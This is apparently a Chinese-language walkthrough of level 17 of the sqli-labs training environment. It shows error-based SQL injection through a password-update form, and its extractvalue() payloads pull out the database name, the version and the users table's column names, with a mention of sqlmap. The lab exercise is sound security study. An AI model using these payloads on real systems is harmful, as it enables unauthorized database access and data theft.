前言:这一关变化还是挺大的,让我们修改密码。 第17关 http://192.168.89.134/sqli-labs-master/Less-17/ 到这里我们还是毫无头绪,只能看源代码 从源码中可以看到:接收到用户POST的uname和passwd后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,若不存在则显示slap1.jpg 在用户名正确后,页面便能够返回Mysql错误信息
所以我们决定用报错注入 使用updatexml(),它和extractvaule(),这两个函数原理一样,只是updatexml()多了一个参数,我习惯用extractvaule() 我们开始吧 我们在password表单注入,所以username我们用已知的admin登录,下面就不在重复! 查看库名 admb’ or extractvalue(1,concat(0x7e,(select database())))# 查版本 admb’ or extractvalue(1,concat(0x7e,(select version())))# 接着继续获取表名 1’ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e)) # 获取users表的内容 最后我们用sqlmap跑一下会是什么结果呢? 在这里有个小问题给大家说一下,直接上图 我们发现哪里有注入点就把*加在哪里! 加下来的操作一样,直接看结果
总结:我们今天通过17关长了见识还可以通过密码表单注入,只是位置不一样,原理方法一样!
本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助